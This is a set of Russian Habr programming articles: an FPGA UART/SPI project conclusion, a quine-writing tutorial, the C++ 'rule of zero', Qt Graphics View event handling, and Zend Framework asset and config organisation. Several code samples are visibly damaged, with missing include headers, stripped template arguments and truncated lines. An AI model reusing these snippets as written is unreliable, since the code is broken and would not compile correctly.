Помимо основного функционала, модуль битового счетчика также отвечает за инициализацию процесса анализа ошибок, начальным действием которого является передача команды чтения значения по адресу последнего записанного регистра. Так как процесс анализа ошибок необходимо начинать после промежутка времени, эквивалентному длительности 23-х синхроимпульсов с момента передачи последней пересланного бита данных (установлено экспериментально), битовый счетчик после сигнала обнуления переключается в режим счета 23-х синхроимпульсов, что обеспечивает функционирование процесса анализа ошибок.
#### Модуль анализа ошибок
Как было упомянуто в объяснение предыдущего модуля, для обеспечения функционала анализа ошибок был разработан метод, основанный на чтении значения сохраненной на ИМС команды по адресу регистра, использовавшегося в процессе записи данных. Процесс чтения необходим для сравнения записанного значения с прочитанными данными для выявления несоответствий, а следовательно – определения произошедшей ошибки. Модуль анализа ошибок основан на элементе RG\_8\_SI\_PO, который функционирует по принципу сдвигового регистра. Элемент преобразовывает полученные по последовательному порту MISO сигналы в параллельный 8-разрядный выход. Далее данные сравниваются со значением команды, использовавшейся при процессе записи данных. Функционал сравнения выполняет элемент CMP\_8, основанный на логике «исключающего или». При обнаружении несоответствия, модуль передает сигнал на выход LED, который будет находится в состоянии логической единицы до следующего процесса записи данных. Предполагается, что выход LED будет связан с одним из светодиодов, группа которых присутствует на отладочной плате DE10 Nano, что позволит визуально сигнализировать о случившейся ошибке.
Заключение
----------
В результате решения поставленной задачи была спроектирована и физически реализована схема взаимодействия ПК и устройства ЦАП/АЦП с рядом ключевых преимуществ. В процессе реализации была решена проблема с соединением ПЛИС и ПК. Решением этого послужило использование внешнего модуля UART. Было написано ПО для ПК на языке Java. ПО имеет интерфейс с базовыми возможностями передачи и приема данных в разработанном формате посылки UART, помимо этого имеет функцию загрузки сохраненных команд. Были разработаны контроллеры UART и SPI на базе ПЛИС.
Вопросы, рассмотренные в рамках данного проекта, позволяют:
* оценить способы взаимодействия интегральных микросхем с внешними устройствами;
* оценить способы использования ПЛИС в качестве согласовывающего устройства, буфера для обмена данных;
* изучить один из эффективных подходов к разработке ПО для практического применения.
**P.S.** Буду рад любым дополнениям, замечаниям и указанием на допущенные ошибки.
|
https://habr.com/ru/post/515478/
| null |
ru
| null |
# Как писать квайны
##### Введение
Многие программисты считают написание [квайнов](http://ru.wikipedia.org/wiki/%D0%9A%D1%83%D0%B0%D0%B9%D0%BD_(%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5)) (программ, выводящих свой исходный код) непосильной задачей. И действительно — все эти цепные квайны и квайны различного порядка, при взгляде на которые можно потеряться в, казалось бы, бессмысленном наборе символов…
Однако, на самом деле, написать квайн на каком-либо языке не так сложно, как кажется. Сейчас я расскажу, как сделать это на различных языках программирования. Более того, мы не будем использовать «хаки» интерпретеруемых языков вроде операции вывода исходного кода и функций типа eval и напишем квайны на интерпретируемых и компилируемых языках.
##### Теория
Попробуем написать квайн. Для этого возьмём инструкцию языка для вывода и передадим ей как параметр код программы. Однако, в коде мы снова используем этот же код и так далее — возникает бесконечная рекурсия. Но что можно сделать для того, чтобы не передавать строковую константу? Решение — поместить строку (копию части кода) в переменную. Для удобства назовём такую строку *s-строкой*, а переменную с этой строкой — *s-переменной*. Чтобы и в s-переменной не было рекурсии, мы просто исключим из неё фрагмент со значением этой самой переменной. То есть, выглядеть это будет примерно так:
**C:**
```
char s[]="char s[]=;";
```
***Примечание.** Как в этом фрагменте, так и в квайнах, которые получатся в итоге, для простоты мы не будем соблюдать правила форматирования кода. Тем не менее, их соблюдение вы сможете без труда добавить самостоятельно после прочтения статьи.*
Далее, при выводе, мы подставим значение s-строки в её же определение в коде (в примере выше — перед тремя последними символами). Здесь же возникает ещё несколько проблем. Первая проблема — при подставлении в s-строке нельзя использовать символы, которые поведут себя в коде не так, как надо. Например, мы не можем так просто вставить кавычку — ведь вместо того, чтобы стать частью s-строки, она завершит её определение и выводимый код не будет совпадать с исходным, являясь некорректным вообще.
Экранирование применить здесь достаточно сложно — символ экранирования надо тоже экранировать и т.д.. Гораздо проще, например, использовать другой вариант кавычек — так, во многих интерпретируемых языках разрешено использование как одинарных, так и двойных кавычек для задания строки, а отличие состоит в том, что можно без проблем использовать одну кавычку в константе, если она ограничивается другими. То есть, код `'"'` создаст односимвольную строку с двойной кавычкой, а код `"'"` — с одиночной. Если использовать этот вариант, удобно задать в начале переменную с какой-либо кавычкой, а затем использовать её при выводе.
Но и этот вариант не универсален: в Си, к примеру, есть лишь один вариант кавычек. Тогда можно использовать другой способ — задавать кавычку кодом символа, печатая символ с таким кодом при выводе.
Следующая проблема — вставка другой строки (или символа с каким-либо кодом) в вывод s-строки. Решение здесь очевидно — брать подстроку s-строки специальной функцией, выводить её, далее выводить то, что надо вставить, затем выводить другую подстроку s-строки. Может показаться, что в Си взятие подстроки для вывода потребует немало кода. Тут нам на помощь придёт мощь функции printf. Так, например, вот варианты кода для различных языков, печатающего часть строки s со второго символа (считая с единицы) по четвёртый включительно:
**Python:**
```
print(s[1:4])
```
**Ruby:**
```
print s[1..3]
```
**Perl:**
```
print substr(s,1,2)
```
**C:**
```
printf("%.2s",s+1);
```
Обычно методы взятия подстроки могут также брать её остаток до конца. Например, напечатаем строку s со второго символа до конца строки (то есть, всю строку кроме первого символа):
**Python:**
```
print(s[1:])
```
**Ruby:**
```
print s[1..-1]
```
**Perl:**
```
print substr(s,1)
```
**C:**
```
printf("%s",s+1);
```
Если такой возможности нет, придётся на место параметра с длиной подстроки поставить заглушку типа «XX», а затем в конце посчитать символы до конца и подставить их вместо «XX» в коде и в s-строке, не изменяя длины различных частей кода. Например, если в длине окажется одна цифра, целесообразно подставить вместо первого икса пробел, ведь, если его удалить, длины частей s-строки изменятся и их придётся пересчитывать.
##### Интерпретируемые языки
Итак, начнём писать квайны, собрав все суждения выше. На **Python** я написал такой квайн (работает и на **3.x**):
```
q="'";s='q="";s=;print(s[:3]+q+s[3:7]+q+s+q+s[7:])';print(s[:3]+q+s[3:7]+q+s+q+s[7:])
```
Здесь переменная q используется как переменная, где хранится одинарная кавычка, далее идёт определение s-переменной со всем кодом, кроме самой s-строки. После этого идёт вывод s-переменной со следующими вставками:
1). Одинарная кавычка как значение переменной q;
2). Одинарная кавычка как начало определения s-строки;
3). Сама s-строка (да-да, s-строка вставляется внутри s-строки);
4). Одинарная кавычка как конец определения s-строки.
***Примечание.** При написании квайнов по данному методу не забывайте копировать все изменения в коде в копию кода в s-строке.*
С минимальными изменениями можно получить квайн только для **Python 2.x**:
```
q="'";s='q="";s=;print s[:3]+q+s[3:7]+q+s+q+s[7:]';print s[:3]+q+s[3:7]+q+s+q+s[7:]
```
Абсолютно аналогичны и квайны на других языках, где мы изменяем лишь некоторые синтаксические особенности:
**Ruby:**
```
q="'";s='q="";s=;print s[0..2]+q+s[3..6]+q+s+q+s[7..-1]';print s[0..2]+q+s[3..6]+q+s+q+s[7..-1]
```
**Perl:**
```
$q="'";$s='$q="";$s=;print substr($s,0,4).$q.substr($s,4,5).$q.$s.$q.substr($s,9)';print substr($s,0,4).$q.substr($s,4,5).$q.$s.$q.substr($s,9)
```
**PHP:**
```
$q="'";$s='<?$q="";$s=;print substr($s,0,6).$q.substr($s,6,5).$q.$s.$q.substr($s,11);';print substr($s,0,6).$q.substr($s,6,5).$q.$s.$q.substr($s,11);</code
```
##### Компилируемые языки.
Написание квайна на **C** оказалось чуть более трудной задачей. Здесь я активно использовал коды символов: двойной кавычки — 34, и перевода строки — 13 (он понадобился, чтобы отделить директиву компилятора для включения stdio.h), а также интересный способ взятия подстроки с помощью printf, уже описанный выше.
А вот и сам квайн:
```
#include
int main(){const char \*s="#include int main(){const char \*s=;printf(%.18s%c%.25s%c%s%c%.8s%c%.33s%c%s,s,10,s+18,34,s,34,s+43,34,s+51,34,s+84);return 0;}";printf("%.18s%c%.25s%c%s%c%.8s%c%.33s%c%s",s,10,s+18,34,s,34,s+43,34,s+51,34,s+84);return 0;}
```
##### Заключение
Вот и всё. Я написал квайны на большинстве языков, интерпретаторы и компиляторы которых обнаружил на своём компьютере. Думаю, теперь вы и сами напишете подобную программу на своём любимом языке программирования, если я не упомянул его здесь. В качестве упражнения вы также можете написать квайн на таких языках, как Java, C#, Haskell или Pascal. Не бойтесь трудностей — достаточно попробовать, и всё получится!
|
https://habr.com/ru/post/128191/
| null |
ru
| null |
# «Правило ноля»
Применительно к с++03 существует “правило трех”, с появлением с++11 оно трансформировалось в “правило 5ти”. И хотя эти правила по сути являются не более чем неформальными рекомендациями к проектированию собственных типов данных, но тем не менее часто бывают полезны. “Правило ноля” продолжает ряд этих рекомендаций. В этом посте я напомню о чем, собственно, первые 2 правила, а также попробую объяснить идею, стоящую за “правилом ноля”.
#### Мотивация
Все упомянутые выше правила написаны в основном (но не всегда) для ситуаций, когда объект нашего класса владеет каким-либо ресурсом (хендлером, указателем на ресурс) и нужно каким-то образом решить что будет происходить с этим хендлером и с самим ресурсом при копировании/перемещении нашего объекта.
По умолчанию, если мы не объявляем ни одну из “специальных” функций (конструктор копирования, оператор присваивания, деструктор и т.п.), компилятор сгенерирует их код автоматически. При этом они будут вести себя в общем-то ожидаемо. Например, конструктор копирования будет пытаться скопировать не *POD* члены класса вызывая их соответствующие конструкторы копирования и побитово копировать члены *POD* типов. Такое поведение вполне приемлемо для простых классов, содержащих всех своих членов в себе самих.
#### Стратегии владения
В случае же больших сложных классов, или классов, в качестве члена которого выступает хендлер внешнего ресурса поведение, реализуемое компилятором по умолчанию, нас уже может не устроить. К счастью мы можем самостоятельно определить специальные функции, реализовав нужную в данной ситуации стратегию владения ресурсом. Условно можно выделить несколько основных таких стратегий:
1. запрет копирования и перемещения;
2. копирование разделяемого ресурса вместе с хендлером (*deep copy*);
3. запрет копирования, но разрешение перемещения;
4. совместное владение (регулируется, например, подсчетом ссылок).
#### “Правило трех” и “правило пяти”
Так вот “правило трех” и “правило 5ти” говорят о том, что в общем случае, если возникла необходимость самостоятельного определения одной из операций копирования, перемещения или разрушения нашего объекта в соответствие с одной из выбранных стратегий, то скорее всего для корректной работы нужно будет определить все остальные функции тоже.
Почему это так, легко увидеть на следующем примере. Допустим членом нашего класса является указатель на объект в куче.
```
class my_handler {
public:
my_handler(int c) : counter_(new int(c)) {}
private:
int* counter_;
};
```
Деструктор по умолчанию в этой ситуации нам не подходит, так как он уничтожит только сам указатель counter\_, но не то, на что он указывает. Определяем деструктор.
```
my_handler::~my_handler() {delete counter_;}
```
Но что теперь произойдет при попытке скопировать объект нашего класса? Вызовется определенный по умолчанию конструктор копирования, который честно скопирует указатель и в итоге у нас будет 2 объекта, владеющих указателем на один и тот же ресурс. Это плохо по понятным причинам. Значит нам нужно определить собственные конструктор копирования, оператор присваивания и т.д.
Ну так в чем же дело? Давайте всегда будем определять все 5 “специальных” функций и все будет ок. Можно, но, честно говоря, довольно утомительно и чревато ошибками. Тогда давайте будем определять только те, что действительно необходимы в текущей ситуации, а остальные пусть генерируются компилятором? Тоже вариант, но во-первых “ситуация” в которой используется наш код вполне может измениться без нашего ведома, и наш класс окажется неспособным работать в новых условиях, а во-вторых есть особые (и, как мне кажется, довольно запутанные) правила подавляющие генерацию компилятором спец. функций. Например, “функции перемещения не будут неявно сгенерированы компилятором, если есть хотя бы одна явно объявленная функция из 5ки” или “функции копирования не будут сгенерированы, если есть хотя бы одна явно объявленная функция перемещения”.
#### “Правило ноля”
Один из возможных выходов был озвучен Мартино Фернандесом в виде “правила ноля” и кратко может быть cформулирован следующим образом: “не определяйте самостоятельно ни одну из функций 5ки, вместо этого поручите заботу о владении ресурсами специально придуманным для этого классам”. А такие специальные классы уже есть в стандартной библиотеке. Это *std::unique\_ptr* и *std::shared\_ptr*. Благодаря тому, что при использовании этих классов существует возможность задавать пользовательские *deleter*’ы, с помощью них можно реализовать большинство из стратегий владения, описанных выше (по крайней мере, самые полезные). Например, если класс владеет объектом, для которого совместное владение не имеет смысла или даже вредно (файловый дескриптор, мутекс, поток и т.п.), завернем этот объект в *std::unique\_ptr* с соответствующим deleter’ом. Теперь объект нашего класса нельзя будет скопировать (только переместить), а также автоматически обеспечится корректное уничтожение ресурса при уничтожении нашего объекта. Если же семантика хранимого хендлера допускает совместное владение ресурсом, то используем *shared\_ptr*. В качестве примера подойдет приведенный выше пример с указателем на счетчик.
Подождите… Но ведь в ситуациях с полиморфным наследованием мы просто обязаны объявить виртуальный деструктор, чтобы обеспечить корректное разрушение производных объектов. Получается “правило ноля” здесь неприменимо? Не совсем так. *Shared\_ptr* поможет нам и в этой ситуации. Дело в том, что *deleter shared\_ptr*’а “помнит” реальный тип хранимого в нем указателя.
```
struct base {virtual void foo() = 0;};
struct derived : base {void foo() override {...}};
base* bad = new derived;
delete bad; // Плохо! Нет виртуального деструктора в base
{
...
std::shared_ptr good = std::make_shared();
} // Хорошо! shared\_ptr при разрушении вызовет правильный деструктор.
```
Если вас смущает оверхед *shared\_ptr*’а или вы хотите обеспечить эксклюзивное владение указателю на ваш полиморфный объект, можно завернуть его и в unique\_ptr, но тогда придется написать свой кастомный *deleter*.
```
typedef std::unique_ptr base\_ptr;
base\_ptr good{new base, [](void\* p){delete static\_cast(p);}};
```
Последний способ чреват определенными проблемами. Для множественного наследования придется писать 2 (или больше) разных deleter’a, также появляется возможность переместить один смарт пойнтер из другого, не смотря на то что реализация deleter’ов у них могут быть разными.
Итак, “правило ноля” представляет собой еще один подход к механизму управления ресурсами, но как и любые другие идиомы С++, использовать его бездумно нельзя. В каждой конкретной ситуации нужно решать отдельно имеет ли смысл его применять. В ссылках ниже есть статья Скота Мейерса на эту тему.
##### Ссылки
[flamingdangerzone.com/cxx11/2012/08/15/rule-of-zero.html](http://flamingdangerzone.com/cxx11/2012/08/15/rule-of-zero.html)
[scottmeyers.blogspot.ru/2014/03/a-concern-about-rule-of-zero.html](http://scottmeyers.blogspot.ru/2014/03/a-concern-about-rule-of-zero.html)
[stackoverflow.com/questions/4172722/what-is-the-rule-of-three](http://stackoverflow.com/questions/4172722/what-is-the-rule-of-three)
[stackoverflow.com/questions/4782757/rule-of-three-becomes-rule-of-five-with-c11](http://stackoverflow.com/questions/4782757/rule-of-three-becomes-rule-of-five-with-c11)
|
https://habr.com/ru/post/221033/
| null |
ru
| null |
# Qt Graphics View Framework — темная сторона. Часть 2
[Начав](http://habrahabr.ru/post/182614/) свой путь, мы не останавливаемся и продолжаем изучать темные стороны документации. Где-то они могут быть характерны для всего Qt, а где-то присущи только Graphics View. Но так или иначе встреча с ними не всегда проходит безболезненно.
#### Дело №3
Мы хотим написать свой item, в качестве примера пишем следующий код
**MainWindow.h**
```
class MainWindow : public QWidget
{
Q_OBJECT
public:
explicit MainWindow(QWidget *parent = 0);
~MainWindow();
private:
QGraphicsScene *m_scene;
QGraphicsRectItem *m_rect;
QGraphicsItem *m_cross;
QGraphicsView * graphicsView;
};
```
**MainWindow.cpp**
```
class CrossItem: public QGraphicsItem
{
public:
QRectF boundingRect() const
{
return QRectF(0, 0, 30*scale(), 30*scale());
}
void paint(QPainter *painter, const QStyleOptionGraphicsItem *option, QWidget *widget)
{
Q_UNUSED(option) Q_UNUSED(widget);
painter->setPen(QColor(Qt::red));
painter->drawLine(10, 0, 20, 0);
painter->drawLine(20*scale(), 0*scale(), 20*scale(), 10*scale());
painter->drawLine(20, 10, 30, 10);
painter->drawLine(30, 10, 30, 20);
painter->drawLine(30, 20, 20, 20);
painter->drawLine(20, 20, 20, 30);
painter->drawLine(20, 30, 10, 30);
painter->drawLine(10, 30, 10, 20);
painter->drawLine(10, 20, 0, 20);
painter->drawLine( 0, 20, 0, 10);
painter->drawLine( 0, 10, 10, 10);
painter->drawLine(10, 10, 10, 0);
}
};
MainWindow::MainWindow(QWidget *parent) :
QWidget(parent)
{
setLayout(new QGridLayout());
graphicsView = new QGraphicsView();
layout()->addWidget(graphicsView);
graphicsView->setVerticalScrollBarPolicy(Qt::ScrollBarAlwaysOff);
graphicsView->setHorizontalScrollBarPolicy(Qt::ScrollBarAlwaysOff);
m_scene = new QGraphicsScene();
m_cross = new CrossItem();
m_scene->addItem(m_cross);
// m_cross->setScale(2);
m_rect = new QGraphicsRectItem(m_cross->boundingRect(), m_cross);
m_scene->addItem(m_rect);
m_scene->setSceneRect(m_rect->boundingRect());
graphicsView->setScene(m_scene);
}
MainWindow::~MainWindow()
{
}
```
Комплируем, запускаем, видим вписанный в крест квадрат. Раскоментируем строчку и пересоберем проект, чтобы после запуска увидеть все свои ошибки.
Дело в том, что:
```
painter->drawLine(20*scale(), 0*scale(), 20*scale(), 10*scale());
```
и
```
return QRectF(0, 0, 30*scale(), 30*scale());
```
— горе от ума.
Давайте рассмотрим как хранит QGraphicsItem данные о трансформациях:
```
struct QGraphicsItemPrivate::TransformData
{
QTransform transform;
qreal scale;
qreal rotation;
qreal xOrigin;
qreal yOrigin;
QList graphicsTransforms;
bool onlyTransform;
TransformData() :
scale(1.0), rotation(0.0),
xOrigin(0.0), yOrigin(0.0),
onlyTransform(true)
{ }
QTransform computedFullTransform(QTransform \*postmultiplyTransform = 0) const
{
if (onlyTransform) {
if (!postmultiplyTransform || postmultiplyTransform->isIdentity())
return transform;
if (transform.isIdentity())
return \*postmultiplyTransform;
return transform \* \*postmultiplyTransform;
}
QTransform x(transform);
if (!graphicsTransforms.isEmpty()) {
QMatrix4x4 m;
for (int i = 0; i < graphicsTransforms.size(); ++i)
graphicsTransforms.at(i)->applyTo(&m);
x \*= m.toTransform();
}
x.translate(xOrigin, yOrigin);
x.rotate(rotation);
x.scale(scale, scale);
x.translate(-xOrigin, -yOrigin);
if (postmultiplyTransform)
x \*= \*postmultiplyTransform;
return x;
}
};
```
Все очень просто и бесхитростно, как мычание коровы на лугу.И собственно перед тем как рисовать сцена дергает метод *computedFullTransform* и, совершив еще пару шаманских действий, подсовывает это QPainter-у. Тут можем поставить себе на заметку, что если мы хотим делать что-то хитрое с формой нашего item-a, то нам следует использовать методы *setScale*, *setPos*, *setRotation* и *setTransforms* и более нам ничего не надо.
#### Дело №4
Хотим отслеживать перемещение мыши по item-у. Сразу предупреждаю — грабли здесь разложены буквально на каждом шагу. И били они меня очень больно и очень упорно. Но полный список мытарств описывать не буду. Остановлюсь только на ключевых моментах
**Перепишем Mainwindow.cpp следующим образом:**
```
#include "MainWindow.h"
#include
#include
#include
class MyRect: public QGraphicsRectItem
{
public:
MyRect(const QRectF ▭, QGraphicsItem \*parent=0):QGraphicsRectItem(rect, parent){}
protected:
void hoverMoveEvent(QGraphicsSceneHoverEvent \*event)
{
qDebug()<<"rect"<pos();
QGraphicsRectItem::hoverMoveEvent(event);
}
};
class CrossItem: public QGraphicsItem
{
public:
QRectF boundingRect() const
{
return QRectF(0, 0, 30, 30);
}
void paint(QPainter \*painter, const QStyleOptionGraphicsItem \*option, QWidget \*widget)
{
Q\_UNUSED(option) Q\_UNUSED(widget);
painter->setPen(QColor(Qt::red));
painter->drawLine(10, 0, 20, 0);
painter->drawLine(20, 0, 20, 10);
painter->drawLine(20, 10, 30, 10);
painter->drawLine(30, 10, 30, 20);
painter->drawLine(30, 20, 20, 20);
painter->drawLine(20, 20, 20, 30);
painter->drawLine(20, 30, 10, 30);
painter->drawLine(10, 30, 10, 20);
painter->drawLine(10, 20, 0, 20);
painter->drawLine( 0, 20, 0, 10);
painter->drawLine( 0, 10, 10, 10);
painter->drawLine(10, 10, 10, 0);
}
protected:
void hoverMoveEvent(QGraphicsSceneHoverEvent \*event)
{
qDebug()<<"cross"<pos();
QGraphicsItem::hoverMoveEvent(event);
}
};
MainWindow::MainWindow(QWidget \*parent) :
QWidget(parent)
{
setLayout(new QGridLayout());
graphicsView = new QGraphicsView();
layout()->addWidget(graphicsView);
graphicsView->setVerticalScrollBarPolicy(Qt::ScrollBarAlwaysOff);
graphicsView->setHorizontalScrollBarPolicy(Qt::ScrollBarAlwaysOff);
m\_scene = new QGraphicsScene();
m\_cross = new CrossItem();
m\_rect = new MyRect(m\_cross->boundingRect(), m\_cross);
m\_cross->setAcceptHoverEvents(true);
m\_rect->setAcceptHoverEvents(true);
m\_scene->addItem(m\_cross);
m\_scene->setSceneRect(m\_rect->boundingRect());
graphicsView->setScene(m\_scene);
}
MainWindow::~MainWindow()
{
}
```
Мы следуем общей логике, что события сцены — полные аналоги обычных событий. О чем нам радостно сообщает дока по *QGraphicsSceneHoverEvent*.
Компилируем, запускаем и видим, что при перемещении мыши событие доходит только до прямоугольника. Лезем в доку, и где-то на задворках при описании зачухонного метода *setAcceptHoverEvents* читаем:
> Parent items receive hover enter events before their children, and leave events after their children. The parent does not receive a hover leave event if the cursor enters a child, though; the parent stays «hovered» until the cursor leaves its area, including its children's areas.
>
>
>
> If a parent item handles child events, it will receive hover move, drag move, and drop events as the cursor passes through its children, but it does not receive hover enter and hover leave, nor drag enter and drag leave events on behalf of its children.
>
>
>
> A QGraphicsWidget with window decorations will accept hover events regardless of the value of acceptHoverEvents().
Итак, нам необходимо отслеживать события потомка. Осознав это и приняв во внимание прочее, ищем метод, который нам поможет. И такой находится, это *setFiltersChildEvents*(не путать схожим *setHandlesChildEvents*, на том пути нам славы не найти). Добавим его в конструктор:
```
m_cross->setFiltersChildEvents(true);
```
А также добавим фильтр в класс CrossItem:
```
bool sceneEventFilter(QGraphicsItem *watched, QEvent *event)
{
if(event->type() == QEvent::GraphicsSceneHoverMove)
qDebug()<<"cross"<
```
Компилируем, запускаем. Ура! Заработало!!!
#### Итог
К сожалению подвести конструктивный итог, как в прошлой статье сейчас у меня не получится. Скорее это недоумение — потратив значительные усилия на независимость item-а от всяких геометрических преобразований, разработчики Qt предложили нам очень странную систему доставки событий к item-ам. Хотя приведенный выше пример является скорее исключительным случаем, но одного взгляда на флаги в *QGraphicsItem* достаточно, чтоб сильно задуматься.
|
https://habr.com/ru/post/183432/
| null |
ru
| null |
# Zend Framework: стремимся к MVC для Javascript, CSS
При постепенном изучении Zend Framework и построении с его помощью базовых приложений я заметил, что клиентский js-код и инлайновые стили попадают в скрипты вида, при этом они начинают занимать почти половину всего скрипта. В принципе, ничего плохого в этом нет, но мне такая мусорка начала давить на глаза. Кроме того, инлайновый js постепенно превращается в жестко привязанную к скрипту вида конструкцию, полностью зависимую как от самого скрипта, так и от переданных контроллером данных. При всем этом не оставляет желание писать на javascript код максимально красивый при помощи библиотеки jQuery.
Итак, что в данном случае можно сделать. Первая же мысль — вынести инлайновые скрипты и стили во внешние файлы и подключать их через помощники вида headLink и headStyle. Если со стилями все примерно понятно — достаточно специфический стиль для конкретного вида вынести в css файл и подключать его по мере необходимости, то js по-прежнему зависим от данных.
В качестве первого решения напишем плагин к frontController для подключения по мере необходимости нужных файлов:
> `1. class My\_Controller\_Plugin\_Webinit extends Zend\_Controller\_Plugin\_Abstract
> 2. {
> 3. public function preDispatch()
> 4. {
> 5. $controllerName = $this->\_request->getControllerName();
> 6. $actionName = $this->\_request->getActionName();
> 7.
> 8. $view = Zend\_Layout::getMvcInstance()->getView();
> 9.
> 10. if ( file\_exists(APPLICATION\_CSS\_FOLDER.'/'.
> 11. $controllerName.'/'.
> 12. $actionName.'.css') )
> 13. {
> 14. $view->assign('cssControllerAction',$controllerName.'/'.$actionName.'.css');
> 15. }
> 16.
> 17. if ( file\_exists(APPLICATION\_JS\_FOLDER.'/'.
> 18. $controllerName.'/'.
> 19. $actionName.'.js') )
> 20. {
> 21. $view->assign('jsControllerAction', $controllerName.'/'.$actionName.'.js');
> 22. }
> 23. }
> 24. }
> \* This source code was highlighted with Source Code Highlighter.`
Не забываем в Bootstrap классе подключить созданный плагин:
> `1. protected function \_initFrontControllerPlugins()
> 2. {
> 3. $frontController = Zend\_Controller\_Front::getInstance();
> 4. $frontController->registerPlugin( new My\_Controller\_Plugin\_Webinit() );
> 5. }
> \* This source code was highlighted with Source Code Highlighter.`
Как уже понятно, используемые css и js файлы размещаются в соответствии с полной аналогией размещения скриптов вида. Только вместо /application/views/script/controllerName/actionName/ корневыми директориями для них будет соответственно public/css/ и public/js/. Для этого нужно объявить три константы в index.php:
> `1. defined('APPLICATION\_PUBLIC\_FOLDER')
> 2. || define( 'APPLICATION\_PUBLIC\_FOLDER',
> 3. dirname(\_\_FILE\_\_) );
> 4.
> 5. defined('APPLICATION\_CSS\_FOLDER')
> 6. || define( 'APPLICATION\_CSS\_FOLDER',
> 7. realpath(APPLICATION\_PUBLIC\_FOLDER . '/css') );
> 8.
> 9. defined('APPLICATION\_JS\_FOLDER')
> 10. || define( 'APPLICATION\_JS\_FOLDER',
> 11. realpath(APPLICATION\_PUBLIC\_FOLDER . '/js') );
> \* This source code was highlighted with Source Code Highlighter.`
Плагин позволяет подключить в нашем Layout нужные файлы следующим кодом:
> `1. <font color="#0000ff"if
> ($this->cssControllerAction) $this->headLink()->appendStylesheet('/css/'.$this->cssControllerAction)?>
> -
>
> - <font color="#0000ff"if ($this->jsControllerAction) $this->headScript()->appendFile('/js/'.$this->jsControllerAction)?>
>
> \* This source code was highlighted with Source Code Highlighter.`
Открываем браузер — нужные файлы подключились.
Остается вопрос с жаваскриптом. Мы вынесли код во внешний файл в пределах public директории. Но есть необходимость, например, вывести приветственный текст на основе словаря функцией alert(). Естественно, для перевода используется Zend\_Translate, но опять же, как быть, если все наши данные доступны только в скрипте вида?
Для собственных задач я посчитал идеальным решением организацию неймспейсов. К примеру, для переводчика внутри одного скрипта вида нам необходим ограниченный набор фраз. Значит мы можем организовать хранилище этих фраз и отдать их необходимому обработчику на уровне js.
Вот как это происходит.
В основном js-файле моего проекта application.js происходит настройка глобальных методов, объектов и обработчиков. Сюда можно добавить:
> `1. $(document).ready(function(){
> 2. $.TRANSLATION = {};
> 3. });
> \* This source code was highlighted with Source Code Highlighter.`
Хранилище огранизовано, теперь нужно заполнить его.
Для этого в скрипте вида нам понадобится следующий код:
> `1. "text/javascript"</font>></li>
> <li>$(<font color="#0000ff">document</font>).ready(<font color="#0000ff">function</font>(){</li>
> <li> $.data($.TRANSLATION, <font color="#A31515">"Nice to see you!"</font>, <font color="#A31515">'<?=$this->translate("Nice to see you!")?>'</font>);</li>
> <li>
> \* This source code was highlighted with Source Code Highlighter.`
Для использования данных из хранилища мы можем обратиться из любой функции, обрабатывающей этот участок проекта, достучаться до хранилища и получить нужные данные:
> `1. alert( $.data($.TRANSLATION, "Nice to see you!") );
> \* This source code was highlighted with Source Code Highlighter.`
Итак, мы получили следующую картину: для контроллера index, экшена index существует файл в паблик-директории /js/index/index.js, являющийся набором функций для работы. При этом все необходимые данные попадают в хранилище данных непосредственно в скрипте вида, а само хранилище объявляется глобально для всех скриптов вида в основном js-файле приложения.
По модели MVC. Немного притянуто за уши, но все же.
В качестве контроллера (реакцией на пользователя) выступает плагин к frontController, организующий подключение, скрипт layout-а и основа — application.js.
В качестве модели выступает скрипт вида, накапливающий данные для js хранилища.
В качестве вида выступает подключаемый код javascript, полностью отвечающий за клиентское представление.
В хранилище можно накапливать любые данные для дальнейшего использования.
|
https://habr.com/ru/post/71619/
| null |
ru
| null |
# Наследование конфигов в Zend_Config
Для тех, кому лень читать длинное предисловие: перемотайте до последней части «Простая идея, которая пришла мне в голову».
Я хотел поставить якорь, но хабрапарсер не разрешает :(
Zend\_Config и секции
=====================
Официальная документация Zend Framework советует разделить конфигурационный файл на несколько секций, каждая из которых будет отвечать за разную среду, в которой должен работать проект.
При этом, одна секция конфига может наследовать другую, переопределяя только те параметры, которые должны быть изменены.
На первый взгляд, такая идея кажется разумной, но я столкнулся с некоторыми ограничениями этого подхода…
Вот пример конфигурационного файла из документации:
`; Production site configuration data
[production]
webhost = www.example.com
database.adapter = pdo_mysql
database.params.host = db.example.com
database.params.username = dbuser
database.params.password = secret
database.params.dbname = dbname
; Staging site configuration data inherits from production and
; overrides values as necessary
[staging : production]
database.params.host = dev.example.com
database.params.username = devuser
database.params.password = devsecret`
Итак, мы определяем полный список параметров для в секции production, а в секции staging переопределяем лишь несколько параметров для доступа к базе данных.
Ограничения секционного подхода
===============================
На практике, во-первых, хранить пароль доступа к продакшен БД в общем конфиге — не самая хорошая идея, а во-вторых, конфиг в таком виде в буквальном смысле невозможно хранить в мейнстримных системах контроля версий (СКВ) типа Git или Subversion.
Каждый разработчик, участвующий в проекте, с удовольствием будет коммитить собственные локальные настройки в секцию staging, в лучшем случае — создаст собственную секцию, отнаследуюя её от staging.
Всё это приводит к путанице и бесполезному разрастанию конфига в репозитории.
Традиционные сценарии хранения конфига в СКВ
============================================
Чтобы общий конфиг не засорялся личными настройками девелоперов, обычно его называют как-то типа config.default.ini или config.ini.default, кладут в репозиторий, а затем каждый девелопер в своём рабочем каталоге делает его копию, которую называет config.ini и которую добавляет в список игнорируемых файлов СКВ.
Казалось бы, вот оно — счастье: один раз скопировал дефолтный конфиг, вбил туда личные настройки и забыл о нём навсегда…
Как бы не так!
Проходит месяц и кто-то из разработчиков решает добавить в кофиг какую-нибудь полезную (или не очень) настройку.
Он молча коммитит эту настройку в дефолтный конфиг, затем вносит изменения в код проекта, который полностью ломается, если в конфиге эта настройка не указанал, и с чувством выполненного долга уходит в отпуск…
Догадываетесь, что происходит на следующий день? :)
Даже если рассматривать самую утопическую ситуацию, когда изменивший конфиг девелопер не забывает отправить письмо в корпоративную рассылку с темой «Please update your local config.ini», а получившие это письмо разработчики не забывают его прочитать и, что немаловажно, осознать и выполнить — всё равно всем им приходится вручную обновлять свои локальные конфиги, порой используя утилиты типа diff, так как со временем конфиги только увеличиваются в размерах и следить за всеми изменениями вручную не удается.
Простая идея, которая пришла мне в голову
=========================================
Я решил расширить класс Zend\_Config и реализовать в нём наследование конфигов.
Но как только я заглянул в его код, то сразу понял, что всё необходимое для наследования заложено в него изначально.
Итак, вот пример использования конфигов с наследованием.
